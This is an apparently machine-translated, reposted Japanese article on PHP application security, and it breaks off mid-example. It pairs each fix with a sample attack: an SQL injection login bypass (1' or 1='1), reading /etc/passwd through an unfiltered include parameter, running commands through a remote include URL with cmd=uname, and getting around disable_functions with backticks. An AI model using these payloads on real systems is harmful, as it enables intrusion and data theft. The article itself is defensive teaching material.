Shaun Clowes の記事「Exploiting Common Vulnerabilities in PHP Applications」は実によく書かれており、多くの側面が考慮されています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。
1. 古代の欺瞞的な SQL ステートメント
デフォルト モードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべてフィルタリングし、GET/POST/Cookie から取得され SQL で使用される変数にカスタム関数を追加することをお勧めします
:
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1)
return $str;
else
returnaddslashes($str);
}
主に、プログラムをさまざまなシステムに安全に移植するためのものです
php-4.0.5 では、mail 関数の 5 番目のパラメータです。この関数は、実際に電子メールを送信するときに追加のコマンド ライン パラメーターを設定するために使用される 5 番目のパラメーターを導入しました。しかし、特別な SHELL コマンド文字の適切なチェックがなかったため、コマンドの実行に大きな問題が発生しました。
mail("nobody@aol.com", "件名", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。 mail san@xfocus.org ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL その後、再コンパイルします。
3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、内容が
の場合、次の URL を使用できます:
http://victim/test.php?something=http:// www.xfocus.org/test.php?cmd=uname このメソッドは任意のコマンドを実行します。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、ファイル アップロードを使用してローカルの
実行コマンド スクリプトをアップロードすると、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I が生成されます。この時点ではファイルが存在するため、file_exist関数を通じてアップロードされたファイル内の実行スクリプトを実行できます。 そのため、include 関数と require 関数を使用するときは、特にインクルードされたファイルがパラメーターで指定されている場合、ユーザーがパラメーターを制御してはいけないことに注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは php-4.0.3 より前では
disable-url-fopen-wrapper とともに使用されていました。それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。
4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、php.ini に disable_functions = passthru exec system Popen を追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。
$output = `ls -al`;
echo "
$output
www.bkjia.com